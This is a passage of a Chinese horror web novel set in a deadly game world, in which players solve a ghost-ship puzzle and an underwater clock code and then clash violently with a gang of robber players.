随着乐谱到达尾声,音乐却匆忙停止,好像演奏的只是曲子高潮前最后的铺垫,但找到的乐谱,也确实只有这么多了。
当啷一声,原本还在起舞的人群也被按下了暂停键,但是一个闪亮亮的东西,却因此被甩了出来,发出一声脆响。
捡起一看,是一朵塑料做的玫瑰花。
【道具*4】
他手上的血沾到塑料花上,看起来格外诡异,但这不是重点。
重点是这朵花要用在哪里?
夏炘也的脑子昏沉的厉害,耳边嗡嗡一片,他甚至有些听不清系统在说什么,只知道大概是静默值又上涨了。
他瘫坐在地上,想要缓缓让静默值降下来,可惜根本没有用。他看到,整艘船慢慢变成了一条鲸鱼,他背景与意义吞了进去,慢慢潜入了海底。
过一会,他又看到,周围的场景像那些玻璃杯一样破碎开来,那些破碎的画面慢慢变化……
变化成了一些他过去的记忆。
他看到了他的恨……
他看到了面前,一张白色桌子缓缓升起,一把椅子托着他一同上升,最后,停在了虚空中的某一个位置。
手边依旧放着那盘未动的薄饼,身边的影子客人却慢慢凝聚出了形状,一些小小的特征开始出现。
两男一女,分散着坐在他的左右边,此刻正在切切私语,不知道在讲什么。
夏炘也的手放在雪白的桌布上,不断溢出的血将身前的那块区域逐渐染红,直到变成黑色。
“哼哼。”黑暗中突然传来熟悉的轻笑声,夏炘也耷拉的眼皮顿时停止了闭上的动作,随后用尽全力,将手边的那瓶粗盐打翻在桌,将手上的伤口狠狠按了上去。
一种直达心口的疼痛瞬间将他僵硬
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的脑子生生劈成了两半,夏炘也再一睁眼,熟悉的水晶吊灯晃着他的眼睛。
坏消息是,他现在疼的连话都说不出来了,但好在,起码他还有意识。
只要他还能动,他就还有机会。
“厨房在哪里?”他努力挤出几个字,对着胡可斯问道。
木偶此刻站在他的额头前,背对着光看不清他的神色,不过……木偶本来就没有表情。
没有人回答,整个宴会厅一片安静。
“至于吗?”良久,木偶的嘴里才吐出这样一句没头没脑的话。
夏炘也没明白对方怎么会突然问这个问题,又重复了一遍。
又是好一阵沉默,就在夏炘也准备自己随便找个地方先找找时,胡可斯终于开口了。
“跟我来。”
走廊上,上演着这样一幅诡异的画面。
一个木偶,蹦蹦跳跳地往前走,一个浑身是血的青年扶着墙,一寸一寸挪动着步伐跟上。
最后,他们停留在一个冰箱前。
打开冰箱门,一股巨大的腐臭味扑鼻而来,让夏炘也又精神了不少。
冰箱里血红一片,几乎全都塞满了肉,除了最下方,似乎,放着一个盆栽。
他将那个东西抽了出来,是一个花盆,里面有一些被冻得梆硬的黑色泥土,不知道为什么放在哪里。
夏炘也试探着,将手里的玫瑰插到了土里。
玫瑰原本是绽开的,但是在插入泥土的瞬间,娇艳的花瓣不断收拢,变成一个花苞,花苞慢慢变小直到消失不见,紧接着,玫瑰的茎干向泥土里缩去,最后,一瓶透明液体冒了出来。
透过阳光,那瓶液体在夏炘也手中折射出一束束白光。
系统的声音又传来,但他已经听不清楚了,只知道这应该也是一个线索。
那本航海日志,他的脑子里瞬间闪过了那个物品,直觉告诉他,这个线索使用在那本书上的。
“帮我……帮我个忙。”夏炘也看向脚边的木偶,沙哑着开口,他已经没有力气再回到那个房间里,现在他只能向面前这个奇怪的小家伙求助。
这或许是他唯一的机会了,如果对方愿意帮他,那么他还有最后一次机会可以找到所谓真实的结局。
胡可斯又陷入了沉默,但这次似乎是看他已经撑不了多久了,很快开口,“可以。”
“但我有一个条件。”
夏炘也看向他。
“我要你和我等价交换一样东西。”
“你想要什么。”
木偶咯咯笑了起来,似乎听到了什么愚蠢的问题。
“你现在,除了这条命,可没有吸引我的东西。”
不知道什么时候,那本日志已经出现在了夏炘也的膝盖上。
“等到那天你有了足够珍贵之物,我自然会来向你索要。”
一只男人的手不知道什么时候伸了出来,接过了夏炘也手中的液体,缓缓地倒在了有字迹的地方。
真实的结局,慢慢浮出水面。
「……死了……我杀了她」
……
“到时候,无论我向你索要什么,你都没有拒绝的权利。”
20.命运交织
「我时常会想……或许我俩就是孽缘……我们早就该结束了,只是我舍不得,我知道你很难,但是,呆在一起也不过是互相折磨……」
日志上缓缓出现一行红色的字迹,就在男人赏月的那个夜晚,他想清的这件事。
「我离那里越来越近了,我看了调查报告,除了鹦鹉螺,里面一定还有更多奇迹……」
「我们会被世人永远记住,人类本来就该……」
男人的语气变得越来越癫狂,字迹也越来越潦草。
「你为什么要跟着我过来?你为什么非要问个清楚?我说了……我们只是拿回属于我们的东西。」
「问秋,原谅我,你不会明白的……奇迹会发生……」
夏炘也的手指轻轻划过每一行字,一滴血突然滴落在了日记本上,好似一滴血泪。
一块高度腐化的肉趴在冰箱的边缘,摇摇欲坠。
「第六天的时候,轮船出现了故障,供电设备损坏,冰箱里的味道已经藏不住了……」
「无法联络到监测站……船上的人都疯了。」
「他们都死了」
「对不起问秋,我要来陪你了」
「问秋」
最后,日志只已这两个字结尾。
“恶心。”夏炘也厌恶地将那本日志扔到一边,却被一只涂着五颜六色指甲油的手捡起。
他难受的靠坐在冰箱上,等待着副本的结束,根本没有发现不知道什么时候,一个男人站在了他身边,静静地看着他,手里把玩着哪个木偶。
系统地提示音并没有响起,夏炘也知道自己恐怕是死定了。
好不甘心……
他眼神涣散,勉强地向前看去,眼前一片模糊。
木偶还是原本那个模样,但是一眼看去,似乎少了些灵性。
男人弹了几下木偶的手,哒哒哒的敲鼓声敲了起来。
“本来想留你看看,钢琴到底该怎么弹的,看你这副模样还是算了,你死了我可就惹上大麻烦了。”
“不过,第一次见面,”他笑了笑,随手将木偶塞进了夏炘也的包里,“送你个小礼物吧。”
夏炘也消失在那男人面前,只剩下一张孤零零的空白船票留在原地。
男人拿着那张空白船票,穿过走廊来到那面巨大的镜子前,镜子里,那个浑身是伤的孩子依旧局促地站在那里。
“早就告诉你了,带着这个可怜的小孩一起离开,你不听……”他对着镜子里的小孩比了个鬼脸,那孩子顿时后退几步,警惕地看着他。
见到他小心的模样,男人咯咯地笑了起来,“可怜的小家伙,别害怕,我可不敢动你。”说着,将空白船票贴在了镜子上。
镜子荡起一阵涟漪,男孩的身影终于消失,一艘白色船慢慢从远处驶来,越来越近……最后整个墙面变成了白色。
再回头,整个环境似乎悄悄发生了改变。
【恭喜玩家找到真实的结局】
【游戏剧情探索度78%】
【达成通关条件】
【游戏结束倒计时开始】
系统的声音终于响起,厨房里,夏炘也的身影慢慢消失。
男人根本不在意,闲庭信步走到宴会厅,坐在了那架钢琴前。
那张乐谱现在已经变得正常,纸张已经泛黄,上面还沾上了斑斑血迹。
悠扬的琴声再次响彻,舞池里的人们在这一瞬间突然清醒过来,惊愕地看着眼前的一切。
尖叫声,推搡声,不少人因为想要快速逃离这里摔倒,但地面上还布满碎玻璃。
于是更大的哀嚎声此起彼伏,甚至将音乐声盖住。
男人啧了一声,整个空间霎时又安静下来,哪些人群哪怕再怎么扯着嗓子叫喊,也发不出一点声音。
哎呀,男人沉浸在这令人愉悦的氛围里,良久突然意识到一问题。
“我怎么忘了让他替我问个好呢?”
但转头一想自己塞进夏炘也的玩偶,或许这也算是给对方的问候礼物吧。
又一个重音落下,谱子被气流带的飞起,但这并没有影响男人,相反,他的手指越来越快。
音乐到达高潮。
【第七次循环开始】
谢幕一头扎进了水里,只看了一眼,她就知道那最后一个数字是多少了。
一个巨大的数字“8”静静躺在水里,谢幕继续向下潜去,一个个已经骨质化的鹦鹉螺,一个接一个,排成两个圆圈。
现在她算是彻底相信那本观测记录里写的东西了,那么那个300m的超级大鹦鹉螺,会在哪里呢?
耳边的水流不断流过,谢幕想要继续向下游去,却又被系统屏障阻挡了……
水肺已经快没有多少气了。
不得已,只能回头。
咕隆咕隆的水声好像是从她的胸腔里传来的,谢幕浮上水面,深吸一口气,原本混着铁锈的浑浊空气一瞬间似乎也没有那么让人难以接受。
谢幕走上楼板,坐在水边擦拭着头发,顺便欣赏了一下自己在水中的倒影。
此刻的她,做了听说是当下最时兴的发型和美甲。
苏迟和陈现说,身边和她一个年纪的女孩几乎人人都这样。
她不由的想,如果自己现在走在街上,是不是就和同龄人没什么两样。
哦对,说起来也不知道夏炘也怎么样了。
“夏炘也还活着吗?”谢幕对着空气问道,顺手打开了系统面板,划到一栏,发现和其他不同的是,那里变成了暗淡的灰色,似乎随时会消失。
【……】
为何沉默不语?谢幕皱起了眉头。
【我没有权限告诉你……】
那就是快死了。
谢幕骂了一声,“你怎么不早说!”
系统os都说了我不能说你耳朵聋吗?但是它很了解面前这个人。
【有你在,没意外】
谢幕冷哼一声不再和它费口舌,一头又扎进了水里,朝某个方向游去。
好在,座钟的位置没有屏障限制。
现在已知每次涨潮落潮都会出现一个对应的数字,那么不难猜出密码的顺序对应的就是涨潮落潮。
落潮是“8”,涨潮也是“2”,低潮是“1”,高潮是“8”。
涨潮落潮的顺序是涨潮-落潮-高潮-低潮。
那么只要知道密码的第一位就知道后面的密码分别是什么了。<
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p>谢幕憋着一口气飞速游到了座钟前,输下了第一个数字——
8.
随着四个数字全部输完,料想中的通关消息却没有出现。
【密码错误】
【剩余次数:1次】
一股窒息感传来,谢幕感觉自己的五脏肺腑都被疯狂挤压着,她连忙向上浮去。
?
她不明白,难道是顺序错了?
不应该,在第四次循环出现的照片,按照里面的时间和异变发生的时间,顺序应该是高潮-低潮-涨潮-落潮。
时间一分一秒流逝,眼前闪过很多画面。
光屏上的字突然亮起来一点,又迅速变得更加暗淡。
谢幕突然又一个猛子扎进了水里,然后狠狠一拽绳子,一直扎在天花板的刀稳稳落入了她的手心。
这一次她没有游向座钟,而是向最先发现发现排水管道的地方游去。
当时只看到了数字的一半,没有看完全,现在她突然想到,“5”的上半部分不也长那样吗?
眼前的浮球被一层厚厚的铁锈包裹起来,无论她怎么转动都看不清,索性一刀直接砍断了连接的锁链,再刮去上面的锈。
一个“5”勉强能够辨认出来。
来不及因为自己的粗心懊恼,谢幕拉着浮球就想下游去。
啪嗒——
再次输入密码,这次一阵清晰的齿轮转动声传来,钟表上的数字疯狂转动,发出巨大的噪音,随后整个地面剧烈震动了一下,座钟柜门上的锁突然脱落,直直朝深不见底的海底坠去。
【密码正确】系统的声音里似乎都染上了些喜悦。
谢幕双手拉住柜门想要拉开,可是不知道为什么,或许是因为门内的铁锈,门竟然一下子打不开。
肺的储气空间已经被挤压到最少,她马上就得窒息死在这里,如果不使用什么有用的道具的话。
她手一动……
一刀将浮球扎了个口子,里面的空气顿时涌出,变成巨大的气泡朝上方浮去。
谢幕抓紧时间猛吸了一口,那股浑浊陈旧的味道让她有点反胃,但好歹胸腔里有气可呼了。
紧接着她在水里翻了一个漂亮的身,一脚狠狠踹在了那道门上。
嘎吱一声,什么东西断裂的声音传来。
再一拉,门开了。
【恭喜玩家通关游戏】
【剧情探索度86%】
【游戏倒计时开始】
系统几乎是跑火车一般将数字赶紧念完。
谢幕的脑袋伸进柜子里,中间好像穿过了某种屏障,看到了一片波光粼粼的湖面上,停靠着一艘白色的游轮。
落日西斜,橙色的夕阳洒在海面上,整艘船好像行驶在一片火海上,似乎还有一阵悠扬的钢琴声从传那边传来。
她将身体又探出了一点想看的更清楚一些,可惜这时一道白光闪过,将她的视野全部挡住。
【游戏结束】
谢幕感觉自己的身体正在不停下坠,眼前的景象慢慢由一个小点变得越来越大。
来不及想其他,现在她有更重要的事情要做。
她倒是要看看,究竟是谁要害自己的“睡美男”……
21.遗目
壮硕男人在夏炘也进入游戏后狠狠催了一口痰不停咒骂着这个该死的家伙。
但很快他冷静下来,因为自己的静默值,不知道什么时候,在以一种诡异的速度上升,于是他立马闭上了嘴巴,并且让自己身后的两人放轻一切动作。
他们刚进入游戏的时候,是四个人,现在却只剩下了三个人。
他猛吸了一口烟,又小心地吐了出来。
“把那个破收音机带上,继续往里走,恐怕留给我们的时间不多了。”
一般来讲,像副本里面需要物品来触发的游戏关卡,在通关后,玩家会随机刷新在游戏媒介附近,所以只要带上这个收音机,时间到了,那臭小子也逃不掉。
当然,如果死在里面……能够作为副本关卡一部分的物品,都是有概率成为线索或者隐藏奖励的,带着也不亏。
“彪哥……”突然后面传来一个颤颤巍巍的声音。
被叫做彪哥的男人回过头来,“我让你小声说话,你就这副没骨气的模样?”
被后的男人缩了缩脖子,指了指身后,“好像有人在喊我……”
彪哥眯着眼睛看向身后的黑暗,“喊什么?你第一次下副本啊?有人喊你应该快点跑,而不是在这里纠结,走走走!”
“不不不是,是在喊我的名字。”
“喊你名字那更该跑了,这里是你们村吗?谁都知道你名?”
“……好像是罗成……”那个男人的腿已经开始打颤了,听到这个名字,彪哥的嘴也一下子闭紧。
罗成,他们四人小队中的一人。
他们四个男人,长得人高马大,手里还有各种武器道具,在副本里除了可以无视一些比较低级的npc外,是不是还可以抢劫一些普通玩家。
今天这个环境,简直就是专门为了他们胡作非为准备的,漆黑的环境,静默值的机制,他们不仅可以在不惊动任何人的情况下,神不知鬼不觉的将猎物彻底包围,甚至还可以利用静默值这个副本提供的天然杀机来杀人灭口,这样哪怕对方是大工会的成员,也很难查到他们身上。
于是他们进入洞口后,就早早埋伏在一旁,等一队看起来白头白脸的家伙进来后,就顺手控制住,威胁他们交出身上的道具。
没了道具傍身,对于大部分玩家而言,跟断了两条胳膊没有区别,人家哪肯愿意……罗成这时候又稀罕上了个姑娘,脑子都不带就直接强吻上去。结果人家姑娘是个硬茬,不仅咬断了他的舌头,还不知道往他嘴里吐了什么道具。
在他们眼里,罗成的咳嗽着咽下了什么东西,刚开始他们还以为是她自己的舌头,还在想糟糕了接不回来了。
结果那东西在罗成的喉咙处疯狂涌动,不时还发出巨大的鸭叫声,他被疼的跪在了地上,死命的扣着嗓子眼想要把那玩意吐出来,却不根本不管用,好在最后罗成狠狠拍了拍自己的胸脯,那东西才一路向下,划到了肚子里。
他的脸因为刚才的窒息憋的通红,嘴角还不停的流着血,充血地眼睛愤怒地看着面前的女人。
“呱——”一道声音从他的嗓子眼里钻了出来,穿过幽深的隧道,形成一道道回音,气氛突然变得有些滑稽。
女人因为刚刚的反抗挨了两拳,看见罗成这副模样肆意的笑了起来。
“该死的杂种!再看,信不信把你的眼睛挖下来!”
砰砰砰——罗成回答不了她,愤怒趋势他举起了手中的枪对着眼前的所有人扫射了起来,直到用完最后一颗子弹。
彪哥想阻止的时候已经来不及了,他的速度哪能快得过子弹,只能眼睁睁看着一切的发生。
呱——呱呱——罗成一边发出怪声,一边踉跄着走到女人旁边,轻轻拍了拍她的脸,糊了满手的血。
叫啊怎么不叫了呢?他露出了得意的神情。
他真的太喜欢这个游戏了,在这里……他就是王!他的内心怒吼道,手开始不安分地去扒女人的衣服。
“罗成!别玩了,快走。”彪哥觉得有点大事不妙,他总觉得周围的空气似乎比先前冷了不少。
罗成的动作停了下来,只是在那里不住的发笑。
“该死别笑了,听不懂人话吗,把尸体烧了快走,还嫌事情闹得不够大吗?”彪哥心里莫名烦躁起来,走过去揪住了他的衣领。
再一听,原来对方不是在笑,一阵阵呱声不停地冒出来,声音越来越大,越来越快。
最后罗成突然哇地一声,一堆透明的卵混合着刺鼻的恶臭被他吐了出来。
彪哥这才发现,不知道什么时候,罗成的肚子已经有孕妇七月怀胎那么大了……
几人面面相觑,手忙脚乱地搀扶起四肢无力的罗成,打算先离开这个地方。
可是没想到的是,在吐完那些恶心东西之后,罗成叫的反而更大声了,起初他们也没有太在意,毕竟副本只说静默值为零会被直接抹杀,有罗成在一边发出声音,虽然会一直暴露他们的位置,但走了一会都没有发生什么事情,几人也放下心来。
“别过来!”就在心上的大石头落地的一瞬间,罗成的一阵惊呼,又让他们的心提到了嗓子眼。
罗成不知道哪来的力气,突然将身子一扭,灵活地挣脱了两人,手脚并用地朝一边爬去。
“不要挖我的眼睛,不要……”
等他们追上的时候,他正缩在一个角落里,捂着自己的眼睛瑟瑟发抖,好像一只阴沟里的老鼠。
彪哥强硬地掰开他的手,用手电在他眼前晃了晃,没反应。
几人对视一眼,心下已经做好了决定。
彪哥几人熟练地取下罗成身上的装备,在最后夺走他手上的手电时,罗成浑身一僵,原本迷昏的脑子瞬间清明过来。
“彪哥!彪哥求求你,不要丢下我,我还可以走……我错了我下次再也不敢了。”十分钟前自为王的人,现在却趴在地上,渴求着别人的怜悯。
可怜的老鼠跪在地上,可惜他连方向都跪反了。
彪哥一行人背对着他继续向深处走去,只是临了的时候,一个人不忍心回头看了一眼。
“彪哥……彪哥你看。”
手电光穿透雾蒙蒙的黑暗,照向罗成的方向。
只见一道白色的身影突然闪过,吓得
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彪哥后退两步。
刚刚那是什么东西,隐隐约约,他似乎看到一个没有五官的东西快速从角落里爬过。
手电筒的白光上下晃动,彪哥本来想通过声音判断一下是不是有什么怪物出现,可惜耳边只有该死的呱呱声,混着回声在一起,身都听不到。
“别管了!快走!”那种大事不好的预感越来越强烈,彪哥连忙催促其他人离开。
身后的声音随着他们离开,突然戛然而止……一股冷汗从瞬间从他的脖颈后疯狂地冒了出来。
本来那种恐惧已经消失大半,但是当他的手下说出——罗成在喊他们的时候,他的心跳不由漏了一拍。
“或许,或许他当时只是受道具影响出现了幻觉,现在效果消失了所以来找我们了呢?”面前的男人忐忑道,说着,脚步慢慢朝那个声音的方向靠近。
彪哥知道,他和罗成的关系不错,当时抛下自己的队友,下了很大的决心,他也一样,如果不是罗成已经有了死相,他也不会轻易抛下自己的兄弟。
但是……那个一闪而过的怪物的身影想鬼魅一般又出现在脑海,他不由握紧了手里的枪。
“彪哥……救救我……”现在,他也听到了那道声音。
砰——一声枪响划破黑暗。
袁宿吓了一跳,立马抱头蹲下,仔细观察了一下周围没有什么动静后,才慢慢站起身来“哪来的枪声?”
“我说袁哥至于吗?我们又不是没有。”平头青年嘟囔道,眼睛一亮突然到,“快看快看,前面出现东西了。”
袁宿心说你又不是领头当然没有被杀的风险,想着他走过去,脚下却不知道踩到了什么……
脆脆的。
”哎呀这里也有啊,”青年小跑过来,将地上的一堆白色的东西捡起来,“袁哥,这是不是就是你说的副本隐藏任务的线索啊,我们之前就只遇到过一些海边的破烂,这东西看起来可不像破烂。”
他说着,将那个东西递到了袁宿眼前晃了晃。
袁宿一把抓住他乱晃的爪子,细细端详了一下。
?
突然,袁宿好像触电了一般,一把将那东西从青年手上拍开。
“快扔掉!所有人离周围白色的这玩意都远点,我们快点离开这片区域。”
所有人都不明所以,但还是迅速执行他的命令。
“咋了袁哥?这是啥?”
“你先告诉我你有没有哪里不舒服?”袁宿有些紧张张的看向他,压低声音问道。
“没啊……咋了呀到底。”
袁宿抓起他的手看了许久,又环顾了周围一圈。
附近的地板上,隔两步都是这种白色的物质,大大小小分散在各处。
“你记住,只要你的手有一点不对劲,必须立马砍掉手不要犹豫明白了吗?”
平头青年被对方严肃的模样唬得有些说不出话来,下意识地点点头。
袁宿接着道,“那是一只人的眼睛。”
说着,周围的一个人不小心踩到了刚从青年手里掉落的白色东西,那只白色“眼睛”立刻被碾成了齑粉……
22.偏爱
熟悉的枪声在俞正则的耳边重新响起,他的胸口剧烈起伏了一下,明明还没有看见什么,但心里那种悲哀之情已经率先涌了出来。
硝烟弥散的天空,永远是黑蒙蒙的,周围的声音,最吵闹的不是穿越枪林弹雨的时候,而是一切结束的时候,寂静的夜空,哀鸣声,抽泣声低低的持续到天明。
他总是人群里最大,资历最老的那个,哪怕是到现在也是这样,在俞正则眼里,这些人都是需要保护的孩子……
“就在前面了。”他转过身去看向苏迟二人。
他们一直跟着夏炘也四人的后面,第一声枪声的时候他们就意识到不对,连忙追上去,却只找了一滩鲜血……
“这个出血量应该没有伤到要害,但是我们得快点找到他,”他看着流了一地的血珠,“炘也应该甩开了他们一段时间,我们四处找找……没有的话,就继续向前。”
本来沉默寡言的俞正则,这时候却表现出了极强的执行能力,他们突然想起,在去古堡的路上,也是他第一个组织起大家的。
苏迟抿了抿唇,她象征性的逛了逛周围,故意拖了点时间……这一切当然被俞正则看的一清二楚。
“我们得快点追上去。”他提醒道。
黑暗中,好像有什么东西突然闪了一下,只不过现在几人各怀心事,没有人注意到,苏迟轻轻掐着自己的指腹,她内心深处并不想去救那个萍水相逢的孩子。
还是那句话,她很珍惜自己的生命,对方手里有枪,而且看得出来,他们是真的会开枪伤人,她没必要为了一个认识那么短的家伙搭上性命。
“我们会不会太敏感了……万一这并不是那个孩子的血呢?说不定是什么怪物的呢?”
俞正则坚定地摇了摇头,他太熟悉那种特殊的金属味道了,那是只有人血才有的铁锈味,他知道,但却没有过多解释,自顾自地就往前走去,陈现回头看了苏迟一眼,突然有点拿不定主意。
“我们去也是送死你知道吗?”苏迟抱手站在了原地,显然不想跟他们去冒险。
她内心对眼前的俞正则产生了一种讥讽之情,他要是想救人,何必等到现在?
装货,假清高。
“俞哥要不我们等谢幕回来……”陈现觉得苏迟说的挺对的,开了第一枪,不代表就没子弹,他们可以去逞强了呀,但是让俞正则一个人去面对危险,他也做不到,内心顿时有点纠结。
苏迟咬着牙看着面前的男人,可对方始终背对着他们,静静地站在那里一声不吭。
哼,果然是个装货,别人不跟他送死就不敢去了。
砰——
第二声枪声响起……将三人之间僵硬的的气氛破开了一个缺口。
这一次,三个人都明显能感受到一股气浪从耳朵边刮过。
开枪者就在前面。
与此同时,苏迟手上的照片,突然闪了一下,紧接着,令人安心的声音响起。
“夏炘也呢?”
谢幕从天而降,恍若降世神兵。
“妹妹!你终于来了!”陈现都要哭了,“他们把弟弟带走了!我们赶到的时候全是血,他们还有枪!”
他好像小学生告状一般,说个不停却抓不住重点,手只是不停向前指。
但是她敏锐地捕捉到了两个关键词——
“他们”“前面”
谢幕顿时超前飞奔过去,只一个眨眼便消失不见。
苏迟心里咯噔一下,眼看前面两个人追了出去,再环顾四周,漆黑望不见边界的黑暗,让人一看心里就发毛,她护了一下手里的灯,没再多犹豫拔腿跟了上去。
枪声并没有停下,一声接一声,不绝于耳,向人们不断播报着自己的位置。
谢幕赶到的时候,却只见三人抱头蹲在地上,神情惶恐地望向某处。
看见谢幕过来像看见鬼一样,三人都是被下了一跳。
彪哥抬起枪对着谢幕的脑袋就是一枪,他的准头向来很准,没想到谢幕不躲不避直接就迎了上来。
他手一抖,子弹不知道偏到了哪里去。
“人呢?”一脚踹掉了他手里的枪,一声骨裂声清晰可闻,面前的女孩冷冷地问道。
“你果然和那小子是一伙的?这也是你搞的鬼对不对!”彪哥被踹的倒吸了一口凉气,夹着手双目猩红。
刚刚罗成的声音,这些枪声,还有……恐怕都是这个女人搞的鬼,为的就是消耗他们的子弹和道具。
如果不是现在只有他的枪里还有四发子弹,他根本不会瞄准,直接火力压制扫射就行了,怎么会存在打偏的情况。
“抓住她!”一股扭曲的愤怒刺激着他怒吼道。
彪哥身后,原本还害怕的两人听说一切是谢幕搞的鬼之后,立刻打起了鸡血,立马拔出刀朝谢幕扑来,结果被冲上来的俞正则和陈现扑倒在地。
“早说你们那么不经打呀!”陈现叹息一声,“不然当时我就上了。”
他想的倒是挺好,全然没注意地上散落的一颗颗弹夹。
如果他当时冲上去,估计以后可以用来洗碗了。
谢幕捡起彪哥的枪,抵在了他的额头,枪口顿时被带的抖了一下。
“人呢?”女孩拍了拍男人的大脸,“再抖,枪走火了你就只能用遗言来回答我的问题了。”
额头上冰冷的金属触感,还有那股浓浓的硝烟味让彪哥清醒了不少,“他进入游戏了,还没出来……”说着他朝后面使了个眼色,谢幕见他有小动作,用枪口狠狠顶了一下他的脑袋。
“收音机!收音机给你!他是用这个进入游戏的。”
后面的男人抱着头,半蹲着小心挪到了他们面前,露出了自己怀里的那个收音机,陈旧的收音机,天线歪斜着,
?
好眼熟,这不是水面上那个一直怪叫的收音机吗?
谢幕拿了起来,正想上手转一下,一个黑影从他头顶掉了下来。
那影子出现的太快,与此同时刺鼻的血腥味扑鼻而来,重的几乎快要化为实质,她本来想躲开,
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却在看清对方的脸后,连忙伸手护住他的脑袋。
夏炘也重重跪在了地上,好在谢幕的臂弯拖着他的脑袋没有摔到地上。
他身上几乎没有一块好肉,下半身几乎全被血染成了黑色,衣服被浸得发硬,伤口溢出的血还在顺着裤子的沟壑往下流,手上,脸上,甚至从敞开的领口往下看去,衣服里也有大块大块翻卷的皮肤渗出血来。
苏迟三人见状全身突然抖了一下,他们看得出来这俩人的关系不简单,不知道夏炘也变成这副模样,他们会不会被迁怒。
谢幕的手往他脖子上探去,想看看人还有没有活着,却突然被一只血淋淋的手握住。
“快……快走,有人要抓你。”
原本还很凝重的氛围稍稍缓解了些。
起码人没死。
“别让他死了,上药的时候弄疼一点,让他涨涨记性。”谢幕连人带药丢给了身后三人,“谁在抓我,你有头绪吗?”
彪哥半跪在地上,看不清谢幕的脸色,颤颤巍巍开口道:“现在不是说这个的时候……”
随着一声枪响,彪哥惨叫一声,一颗子弹贯穿了他的大腿,和当初他打在夏炘也的位置一模一样。
“那什么时候说?”她的枪再次抵在了彪哥的脑袋,笑着问道,“你们抓我,找他什么麻烦?”
“这个地方不大对劲,我们得赶紧离开!静默值……静默值有鬼……”彪哥提醒道,但子弹上膛的声音打住了他的话。
耳边的枪声从一开始就没有停过,这一点谢幕早就注意到了,那些声音刚开始听不出什么,但是认真听几遍就会发现,这是一段射击声重复播放形成的,这里没有人会闲的搞这种恶作剧。
但是,谢幕不在乎,她现在就是很愤怒,解决她愤怒的源头,是现在最紧要的事情。
“我们,之前损失了一个人手,我想可能有静默值的原因,就想试验一下。”
彪哥算是看明白了,这个疯子就是纯找麻烦。
“拿人命实验?”
“这里是什么地方你自己应该也明白,人命值几个钱。”
谢幕突然沉默一会,那边陈现他们细心为夏炘也包扎着伤口,在看到大腿那鲜血淋漓处时,苏迟他俩不由比了闭眼,最后只能俞正则自己来处理,他静静地看着那处伤口,内心只能祈祷谢幕给的药拥有什么特殊的魔力,不然这条腿大概率是保不住的。
“所以,你们找到什么有用的消息了吗?”一声轻笑传来,彪哥摇摇头。
又是一声枪响,原本单膝跪地的男人顿时扑倒在地,殷红的鲜血迅速蔓延开来。现在他两条腿都受了伤,就算想跑,也跑不了了。
“在我失去耐心之前,把你的静默值给我刷到一百。”谢幕说着,带着几人向后退去,枪口却始终对准他们,“我来试验一下。”
“我的枪法可是很准的,所以别想着跑。”她说着咧嘴笑了一下,随后又是一声清脆的咔哒声。
熟悉的剧情再次上演,双方的位置却发生了转变。
23.绯梦
夏炘也感觉自己好像仍然呆在那艘轮船上,时间停在了舞会的那一秒,参加宴会的人,永远无法迈出下一步舞步,只有颠簸的海面,无尽的涛声……像他十八年前的人生一样,无聊,看不清前路。
“在看什么?”一道清冽的女声传来,他循声看去,逆着光那人站在窗前。
炽热的阳光穿过她的发丝,他却感觉好像那些光本来就是属于她的。
“没什么……”夏炘也紧张地偏过头去。
突然耳边刮过一道一道微风,女孩贴了过来,近的他的脖颈甚至能够感受到她微弱的呼吸。
“我知道你……”女孩的声音挠着他的耳朵,他的心脏砰砰地跳个不停,混合着海浪声一起。
“你是夏炘也,我记得你!”他看不清对方的面容,可听她的语气上扬,必然是满脸笑意。
夏炘也觉得自己的心里有一阵龙卷风刮过。
“喂醒醒,睡美人……”还是女孩的声音,只不过,多了不少厌烦之情。
面前的女孩慢慢向后退去,一道道黑影好像鬼魅一般,拖着她往黑暗深处而去,他想伸手去抓,却扑了个空。
“谢幕……我们当时也是没有办法……夏炘也的事,我们很抱歉……”潮湿的通道里,不时响起空灵的回音。
苏迟有些忐忑地对着面前这个比自己小上很多的女孩解释道。
她看得出来,夏炘也对于眼前的女孩有一种特殊的意义,可以说他们之所以可以受到谢幕的庇护,很大一部分的原因就是因为面前这个男孩,需要很多人来保障他的安全。
所以她在发现夏炘也可能受伤甚至是希望他死的时候……既希望对方死,又希望他活。
夏炘也到时候没死,他们还可以继续跟着大佬混吃蹭喝。可是如果他死了呢?谢幕会怎么做呢?
苏迟没有忘记面前人的危险,古堡副本里的在花园遇害的俩人,她现在完全可以肯定绝对是她所为,如果说几人是私底下有恩怨的话,在这种鬼地方动手也没什么……但是如果她是一个嗜杀成性人呢?
这么大年龄的孩子就已经对杀戮游戏习以为常,自己不能用自己以往的经验来看待对方,对她的心思更没有十足把握。
虽然谢幕暂时没有要怎么样他们的意图,但自己还是试探一下对方的态度,只要有一点不对劲,她立马收拾东西跑路。
苏迟脑海里闪过了很多想法,自己可以拿谢幕的消息去交给正在追杀她的小队,虽然自己估计之后也不会好过,但能活一时是一时。
?
谢幕一脸疑惑地转过头来,似乎对她说的话感到很奇怪。
“抱歉什么?还发生了什么吗?”
“啊?啊……没,就是总感觉他是你很在意的人,这孩子被别人带走折磨成这样,我们却什么都没做……有些对不起。”
“这样啊,他对我确实很特别……”谢幕点点头,“但是你们确实做的没错,为了救别人搭上自己是很不值当的,更何况,你们应该也不认识?”
更重要的是,该死的另有其人,是吧某个一声不吭的,大难临头才吱声的家伙。
【……】系统突然感觉背上好痛。
可以给面前乱甩锅的坏孩子布置一点惩罚任务吗?
三个人原本疯狂打鼓的心霎时慢了半拍,显然都没有料到对方会这么做,甚至刚刚俞正则都结巴了好久才准备好开口,却被苏迟抢先一步说了。
“要不要做人工呼吸啊?”陈现的声音第一个打破了沉默的氛围。
周遭的环境凝滞了一下。
“他是失血过多,你做什么人工呼吸?”苏迟无语的说道,“想亲就直说。”
“苏姐你怎么能这么说,我可是直男!”
噗嗤一声,不远处的谢幕突然笑了。
看似无法消融的千丈冰崖,凑近看,却压根不存在。
“哎哎哎,小弟弟醒了!”
夏炘也趴在俞正则身上,听到他们的话眼皮动了动,立刻就被陈现发现,吆喝其他人围了过来。
“睡美人醒了?还疼吗?”熟悉的声音响起。
夏炘也整个身子还处在一种酸胀的感觉里,听到这句话,做不出其他反应,整张脸诚实地变成了一颗烂番茄,关键是他的脖子也没有力气转,想藏起来都做不到,只好闭上眼睛,假装自己还没醒。
嗯,他对我嗯特殊。他的脑子被这句话搅成了浆糊,暂时失去了思考能力。
“他好像发烧了?”俞正则感受着背后人越发滚烫的体温,担心的说道。
